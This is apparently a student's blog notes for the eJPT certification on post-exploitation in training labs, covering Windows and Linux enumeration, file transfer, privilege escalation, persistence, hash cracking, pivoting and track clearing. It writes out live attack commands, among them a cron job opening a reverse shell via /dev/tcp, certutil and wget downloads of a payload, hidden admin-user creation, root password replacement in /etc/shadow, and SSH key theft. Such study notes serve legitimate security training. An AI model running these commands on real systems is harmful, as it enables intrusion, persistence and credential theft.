eJPT - 3.5 Post-Exploitation

Introduction
Post-exploitation is the final phase of a penetration test. it consists of the tactics, techniques and procedures that attackers undertake after obtaining initial access on a target system. It involves what you do once you have gained an initial foothold on the target system. It will differ based on the target OS as well as the target infrastructure.
You will have to utilize different techniques and tools based on the target operating system and its configuration. The post-exploitation techniques you can run against the target will need to abide by the rules of engagement agreed upon with the client you are performing the pentest for. It will also depend on how stealthy you will need to be.
The typical post-exploitation methodology:
Local enumeration
Transferring files
Upgrading shells
Privilege escalation
Persistence
Dumping & cracking hashes
Pivoting
Clearing tracks
Enumeration
Windows Enumeration
System Information
After gaining to initial access to a target system. It's important to learn more about the system like the operating system, etc. as it gives us an idea of what we can do and what type of exploits we can run.
What are we looking for?
Hostname
OS name
OS build and service pack
OS architecture
Installed updated or hotfixes
Within a meterpreter we can run the two following commands:
getuid
- usernamesysinfo
- hostname, OS name, build, architecture and service pack
Within a normal Windows shell, we can run the following commands:
hostname
system info
All the OS system information including the updates or hotfixes installedwmic qfe get Caption,Description,HotFixID,InstalledOn
Additional information about the hotfixes or updates and when they're installedtype eula.txt
Additional information with regards to the OS (need to be in the/Windows/system32
folder)
Users & Groups
What are we looking for?
Current user and privileges
Additional user information
Other users on the system
Groups
Members of the administrator group
Within a meterpreter we can run the two following commands:
getuid
- usernamegetprivs
- our current privileges
Note that we can use a Metasploit module called logged_on
to enumerate the logged on users and users that were recently logged on.
Within a normal Windows shell, we can run the following commands:
whoami
- hostname and the current userwhoami /priv
- the privileges we currently havequery user
- the currently logged on usersnet users
- displays all the other accounts on a systemnet user administrator
- to learn more about the user account "administrator"net local group
- displays all the groups on the systemnet localgroup administrators
- displays the members of the group "administrators"
Network Information
What are we looking for?
Current IP address and network adapter
Internal networks
TCP or UDP services running and their ports
Other hosts on the network
Routing table
Windows firewall state
Within a normal Windows shell, we can run the following commands:
ipconfig
- IP addresses and network adaptersipconfig /all
- Windows IP configuration and additional network adapter informationroute print
- displays the routing tablearp -a
- displays the ARP table so all the devices on that same networknetstat -ano
- lists all the TCP or UDP services and their portsnetsh firewall show state
- shows whether the firewall is running or not
Processes & Services
What are we looking for?
Running processes and services
Scheduled tasks
Within a meterpreter we can run the two following commands:
ps
- lists out all the processespgrep
- to search for a specific processmigrate
- to migrate to a specific process ID
Within a normal Windows shell, we can run the following commands:
net start
- lists out all the services that have been startedwmic service list brief
- lists out the services briefly including whether they are running/stoppedtasklist /SVC
- list of the processes and the services running under that processschtasks /query /fo LIST /v
- displays a list of scheduled tasks on the system
Automating Local Enumeration
In addition to automating the process of enumerating information like system information, users and groups, etc. These automated enumeration scripts will also provide you with additional information regarding the target system such as; privilege escalation vulnerabilities, locally stored passwords, etc.
With regards to the local Windows enumeration scripts, we will be exploring JAWS (Just Another Windows Script). JAWS is a PowerShell script that it designed to help penetration testers to quickly identify potential privilege escalation vectors on Windows system. It should run on every Windows version since Windows 7. You can view the GitHub repository here.
In this case, WinRM is running, and we will exploit this service using the credentials we have been provided with. By using the Metasploit module winrm_script_exec
, this will automatically migrate the process to a more stable one.
Once we have a meterpreter session, we can put in the background and use the following modules to automate some of the post-exploitation commands that we ran previously:
Module | Description |
win_privs | Displays what privileges we have, as well as other useful information |
enum_logged_on_user | Shows all the logged-on users via the Windows registry |
checkvm | Check whether the system is running bare or as a virtual machine |
enum_applications | Displays all the installed applications on the target system |
enum_computers | Shows all the computers that are connected within an internal network |
enum_patches | Lists out all the installed patches or hotfixes |
enum_shares | Lists out the SMB shares within that environment |
Now to use JAWS, we have to clone the GitHub repository or copy the PowerShell script. Once we have the PowerShell script, we can open up our meterpreter session and navigate to the C Drive. It is always recommended to upload any files to the Temp directory (if it doesn't exist, you can make it). Then use the built-in meterpreter command upload
to upload the file using its file path.
Now that the PowerShell script is on the target system, to run it, we can use this command:
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
This will gather all the information that we have gone through as well as other information. We can then download the text file to our system to analyse it.
Linux Enumeration
System Information
What are we looking for?
Hostname
Distribution & distribution release version
Kernel version & architecture
CPU information
Disk information & mounted drives
Installed packages or software
Within a Linux shell, we can run the following commands:
hostname
cat /etc/issue*
- all information with regards to the distribution versioncat /etc/*release
- distribution name and release versionuname -a
- hostname, kernel version and kernel architectureenv
- displays the environment variables for the current userlscpu
- all CPU informationfree -h
- shows how much RAM is being consumeddf -h
- displays a list of file systems or drivesdf -ht ext4
- to specify certain file extensionslsblk | grep sd
- shows all the storage devices and their configuration or partitionsdpkg -l
- lists all the installed packages
Users & Groups
What are we looking for?
Current user and privileges
Other users on the system
Groups
Within a Linux shell, we can run the following commands:
whoami
- current usergroups
- lists all the groupsgroups username
- see what groups the username is a part ofcat /etc/passwd
- displays both user and service accountscat /etc/passwd | -v /nologin
- only displays user accountsw or who
- displays all the current users on the systemlast
- only displays legitimate logonslastlog
- all the users and whether they are logged on or not
Network Information
What are we looking for?
Current IP address & network adapter
Internal networks
TCP or UDP services running and their ports
Other hosts on the network
Within a Linux shell, we can run the following commands:
ifconfig or ip a s
- displays all the interfaces or adapterscat /etc/networks
- displays a list of interfaces and their configurationscat /etc/hostname
- hostnamecat /etc/hosts
- lists all the hosts and their respective IP addressescat /etc/resolve.conf
- displays DNS informationarp -a
- Displays the ARP table (other systems connected to the network)
Note that if the arp -a
command doesn't work, you can run arp
within meterpreter.
Processes & Cron Jobs
What are we looking for?
Running services
Cron jobs
Within a Linux shell, we can run the following commands:
ps or ps aux or top
- List the processes on the systemcrontab -l or ls -al /etc/cron* or cat /etc/cron*
- Displays a list of the Cron jobs
Automating Local Enumeration
We can automate the process with the help of a few scripts and Metasploit modules.
In this case, we will use a script called LinEnum which is a simple bash script that automates common Linux local enumeration checks in addition to identifying privilege escalation. You can view the GitHub repository here.
Once we have a meterpreter session, we can put in the background and use the following modules to automate some of the post-exploitation commands that we ran previously:
Module | Description |
enum_configs | Gathers all Linux configuration files |
enum_network | Enumerates network information |
enum_system | Gathers system and user information as well as installed packages & Cron jobs |
checkvm | Checks whether the target system is a virtual machine |
To use the LinEnum script, first navigate to the /tmp
directory. You can then clone or copy the script to the target system. Note that before you can execute it, you will have to provide it with executable permissions (chmod +x
LinEnum.sh
).
Transferring Files
Web Server with Python
After obtaining initial access, you will need to transfer files to the target system. You can either do this via a meterpreter session or you could set up a Python web server and then connect to it using the target system and download those files.
Python comes with a built-in module known as SimpleHTTPServer
for Python 2 and http.server
for Python 3. These can be used to facilitate a basic and simple HTTP server to host your files.
# For Python 2:
python -m SimpleHTTPServer 80
# For Python 3:
python3 -m http.server 80
Windows Targets
Once again, whenever you are transferring files onto the target system, do it within the Temp
directory. Once you have a shell, you can run the following command to download the file that you'd like to:
certutil -urlcache -f http://your_ip/malware.exe malware.exe
Linux Targets
Once you have a Linux shell, you can upload files to the system using the following command:
wget http://your_ip/malware.exe
Upgrading Shells
This is only really pertinent to Linux post-exploitation. You sometimes get a non-interactive shell as you are not provided with a prompt. The method of upgrading this to an interactive shell that we have looked at so far, is to run /bin/bash -i
. However, this will only work if bash is installed on the system.
You can determine what shells are on the system via cat /etc/shells
. Based on the shells that have been installed, you can determine what shell you'd like to use - although bash is the best.
Another method is to first identify whether Python has been installed. You can check by running python --version. If it is installed, you can running the following command to get a bash session:
python -c 'import pty; pty.spawn("/bin/bash")'
Alternatively, if Perl or Ruby is installed, you can run the following command:
perl: exec "/bin/bash"
ruby: exec "/bin/bash";
After obtaining an interactive bash session, it's recommended to check your environment variables which you can do so by running env
. If the PATH environment is not specified, then you should set it up. It's used to specify the default path that is used to search for a binary when you type in a command. You can set it up with the following command:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
You can also set up the TERM and SHELL environment variables:
export TERM=xterm
export SHELL=bash
Privilege Escalation
Windows
In order to elevate your privileges, you need to first identify privilege escalation vulnerabilities that exist on the target system. This process will differ greatly based on the type of target you gain access to as well as the system's configuration.
This process can be quite tedious and time consuming and it's recommended to automate this process which can be done via various automation scripts. In this case, we'll look at PrivescCheck. This is a PowerShell script that aims to enumerate common Windows configuration issues and gathers various information that might be useful for exploitation, post-exploitation and privilege escalation. You can view the GitHub repository here.
In this case, the target system doesn't have any open ports. We will use the Metasploit module called web_delivery
. This exploit module sets up a web server hosting a payload based on the target operating system. It then generates some PowerShell code (because we are targeting Windows) which we can then run on our target system. This will download the payload that is being hosted on the web server giving us a command shell on the target system.
Note that you need to set up the following options correctly:
set target PSH\ (Binary)
set payload windows/shell/reverse_tcp
set PSH-EncodedCommand false
set LHOST eth1
set LPORT 1234
Then copy the PowerShell code that has been generated into the command prompt on the target system and you should have a command shell session.
Once we have upgraded our shell to a meterpreter session, we can navigate to the Desktop where the PrivescCheck folder is located. We can then open up another shell and run the following command to run PrivescCheck:
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
From the results, we have obtained the administrator credentials. However, no ports are open (so RDP is not open either) so how can we use them?
Every Windows system will have SMB running, we can use the Python PsExec script to logon to the system via PsExec. We can do so using the following command:
psexec.py Administrator@target_IP
You can also do this within Metasploit using the psexec
module.
Linux
To automate privilege escalation, we can use the LinEnum script, which we have already covered. You can view the GitHub repository here.
Weak Permissions
To identify files with weak permissions, we can run the following command:
find / -not -type l -perm -o+w
From the results, we can see that we can view the /etc/shadow
file. Now, we cannot view the password for the root user, as it's hashed. But, since we have access to this file, we can change the password for the root user. However, when making changes to the shadow
file, we will have to replace the password with a hashed password. We can generate a password using OpenSSL using the following command:
openssl passwd -1 -salt abc password
All we have to do now, is to replace the Asterix between the two colons with the string that is generated. We can then type in su
to upgrade our privileges.
SUDO Privileges
To see what binaries we can run, type in sudo -l
. It shows us that we can run the following binary /usr/bin/man
. This is essentially what you use to look up the documentation for tools like Nmap. If the man utility has been configured improperly (like in this case where no password has been set) it can be a goldmine for privilege escalation.
In this case, since no password has been set, we can run the binary with sudo
permissions. For example, sudo man ls
. Since we have run the man utility with root privileges, whatever we execute within the man pages will be executed with root privileges. We can spawn a bash session with ! /bin/bash
.
Persistence
Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials and other interruptions that could cut off their access. The persistence technique you use will need to be in accordance with the rules of of engagement laid out and agreed upon with the client.
MITRE ATT&CK has a good page which shows the different techniques of persistence. You can view it here.
Windows
Via Services
In this case, we will use a Metasploit module called persistence_service
. Just note that you will need administrator privileges to run this.
The module will generate a payload with msfvenom
which will then be uploaded to the target system. It will make it a persistent service and to create a service, you require administrator privileges. You can select a SERVICE_NAME
for the service to disguise it.
We can then set up a multi handler within Metasploit. We then set the payload to the one that you used within the persistence module. You also need to set up the same listening port to receive the connection.
Via RDP
Once you have a meterpreter session, you need to migrate to a stable process (like explorer). You will also need administrator privileges.
We can run the following command to check whether RDP is enabled and if it isn't, it will enable it. It will hide the user from the user login page and add them to the RDP and administrator group. Additionally, it will create a new user and set their password.
run getgui -e -u test -p password123
We can then connect to the target via xfreerdp
for example.
Linux
Via SSH Keys
Linux is typically deployed as a server operating system and so SSH is normally enabled. In most cases, Linux servers will have key-based authentication enabled for the SSH service, allowing users to access the Linux system remotely without the need for a password.
After gaining access to the system, we can transfer the SSH private key of a specific user account to our system and use that SSH private key for all future authentication and access. You could also generate a new private key and then transfer that.
In this lab, there is a binary called wait
. Once we have planted our backdoor, the we will delete this file which will trigger the student
account's password to be reset. The id_rsa
is the private key from the SSH key pair. To copy this file onto our system, we can use the following command:
scp student@target_ip:~/.ssh/id_rsa .
We can now remove the binary wait
, which will change the password. This will prevent us logging in via SSH using the password. Note that before logging in, we have to change the permissions of the id_rsa
file (chmod 400 id_rsa
) as otherwise it will not work.
We can login using the private key using the following command:
ssh -i id_rsa student@target_ip
Note that this would not normally be what you do. Normally, you would generate an SSH key pair on your system and keep the private key. You would transfer the public key to the target system under that user account within the SSH directory and then add it under authorized keys.
Via Cron Jobs
Cron jobs are like scheduled tasks on Windows. We have discussed them before. We can enumerate the Cron jobs running using cat /etc/cron*
. To create a Cron job, we can run the following command:
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/your_ip/1234 0>&1'" > cron
To then add it as a Cron job, we can run:
crontab -i cron
We can now set up a Netcat listener to receive the connection from the Cron job using the port we specified (in this case, it's port 1234).
Dumping & Cracking Hashes
We have covered some of the notes for this section here.
Windows
Once you have a meterpreter session, you can dump the hashes using the command hashdump
. Then copy the hashes and paste them into a new text file, using nano or vim.
John The Ripper
We can utilise this tool to crack the NTLM hashes. We can run the following command:
john --format=NT hashes.txt
In this case, we are using the default wordlist but note that you can add a wordlist if you want to.
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Note that you may have to unzip the wordlist first:
gzip -d /usr/share/wordlists/rockyou.txt.gz
Hashcat
We can also utilise this tool to crack hashes. We can run the following command:
hashcat -a3 -m 1000 hashes.txt /usr/share/rockyou.txt
Note that you will need to refer to the documentation to run other commands as you have to specify options via their ID.
Linux
To view the contents of the /etc/shadow
file, you have to have root privileges. You can then copy the contents of it or use the Metasploit module hashdump
to get the hash for the root user.
John The Ripper
We can then use John to brute force and crack the password with the following command:
john --format=sha512crypt /root/.msf4/loot/20250705163718_default_192.227.196.3_linux.hashes_445145.txt --wordlist=/usr/share/wordlists/rockyou.txt
Note that you can just create your own file of the hash by copying it from the /etc/shadow
file if you do not want to run the Metasploit module to get it.
Hashcat
To crack the hash with Hashcat, we can run the following command:
hashcat -a3 -m 1800 /root/.msf4/loot/20250705163718_default_192.227.196.3_linux.hashes_445145.txt /usr/share/wordlists/rockyou.txt
Pivoting
We have covered some of the notes for this here and here.
Once you have exploited the first target, we need to add a route to access target 2 via target 1. Note that you should run the following command from within your meterpreter session:
run autoroute -s subnet_ip/20
We can then scan the internal network using the portscan/tcp
module within Metasploit. To identify the exact service version, we can use Nmap if we perform port forwarding. We can run the following command to do so (just do it within meterpreter):
portfwd add -l 1234 -p scanning_port -r target_ip
We can then run Nmap in our normal terminal on the listening port on the localhost
to find out the exact version that is running. When exploiting the service, make sure you use the bind_tcp
payload rather than the reverse_tcp
one.
Clearing Your Tracks
During exploitation and post-exploitation, you will be interacting with the target systems. As a result, you may need to clear or undo any changes you have made to the target systems you have compromised based on the guidelines specified in the rules of engagement.
If you have transferred any files to the target system, transfer them to the temp
directory - and if you choose to transfer them somewhere else, then note those locations down so you can remove them when you are done.
Metasploit will generally generate and store artifacts on the target system. Just note those locations if you need to delete them manually. Some modules will generate some resource scripts (RC) that you can run to delete those files.
In the context of Windows, a typical post-exploitation technique would be to delete the Windows Event Log, but it should be avoided during a penetration test as the Windows Event Log stores a lot of data that is important to the client you are performing the penetration test for.
Windows
As mentioned before, it is always recommended to store all your files on the temp
directory. If you have used a Metasploit module, you can use the RC script to clean up. You can run it on the target system with the following command within meterpreter:
resource resource_script_file_path
You can run clearev
within meterpreter but this will clear all the Event Logs on the target system which is not recommended.
Linux
Again, it's important to store into your artefacts and files within the tmp
directory. You can also use RC scripts for clean-up.
Within the root directory, you will normally find a bash history file (.bash_history
). You can view the commands you have entered within your session by typing out history
. It's not recommended to delete the bash history file, but you can delete suspicious commands. To clear the history, you can type in history -c
.
That’s it for this section. Next one up is the CTF or skill check that iNE has put up.
— Hmad
Subscribe to my newsletter
Read articles from Hmad directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

Hmad
Hmad
I'm a cybersecurity enthusiast with a growing focus on offensive security. Currently studying for the eJPT & ICCA, building hands-on projects like Infiltr8, and sharing everything I learn through blog posts and labs.